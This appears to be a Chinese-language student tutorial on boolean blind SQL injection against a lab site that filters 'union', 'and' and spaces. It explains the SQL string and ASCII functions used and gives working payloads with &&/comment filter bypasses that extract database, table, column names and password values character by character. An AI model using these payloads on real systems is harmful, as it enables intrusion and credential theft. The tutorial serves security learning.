书接上回,继续学习dalao的教学:《小黄的revenge》
被入侵的小黄改了代码:
将回显输出删除,只保留用户存在判断功能,
对 id 进行过滤,禁止输入 union 、 order by 、 and 、空格等字符
我们提交查询后网站只会告诉我们用户是否存在
很明显,联合查询注入已经不行了,那么可以使用盲注试试看:
首先来理解几个SQL函数和语法:
1,substr 、 mid 、 left 、 right:
作用是截取字符串, subtr 和 mid 用法一样都是 指定开头、步长从左到右对字符串进行截取。
ep:
substr(<string>,<start>,<length>)
mid(<string>,<start>,<length>)
left 是从左进行截取,而 right 是从右进行截取,只需指定步长即可
ep:
left(<string>,<length>)
right(<string>,<length>)
2. ascii 、 ord
用于将字符转换成对应的 ascii 码。
ep:
select ascii('a') #返回97
select ord('A') #返回65
3. and or 空格的 bypass
直接使用 and 空格被ban了,那就用其他的字符来bypass 不能直接使用的and、 空格等。
接着是构造payload :
去查了一手payload是什么
首先来看一个 payload :
?id=1&&length(database())>0#
语句为真,所以返回:用户存在
我们将大于号换成小于号,很明显结果为假,数据库名长度不可能为负,那么 true and false = false ,执行结
果就是用户不存在:( 注意: payload 最好进行一次 url 编码,否则后台可能无法识别。 )
把0改变,从0依次试错,当sql语句执行结果为真时会显示用户存在,结果为假时会显示用户不存在。我们利用这种特性,可以试出数据库名的长度。
1-4 均显示用户不存在,到 5的时候返回: 用户存在
判断出,数据库名的长度一定为 5
就继续构造出如下的 payload :
//爆库名 1&&ascii(substr((select/**/database()),1,1))=97#
//截取数据库名第一个字符判断是否为 'a'
//爆表名 1&&ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.t ables/**/where/**/table_schema=database()),1,1))=97# //截取表名第一个字符
//爆列名 1&&ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema. columns/**/where/**/table_name='userinfo'),1,1))=97# //截取列名第一个字符
//爆字段(密码) 1&&ascii(substr((select/**/group_concat(passwd)/**/from/**/users.userinfo),1,1))=97 # //截取passwd字段第一个字符
分析:
理解完 payload 之后我们就可以通过修改最后的 ascii 码,来逐一对查询出的结果进行爆破,那么通常我们有两种方式:
直接用 burpsuite 暴力破解
编写脚本
感谢师哥=)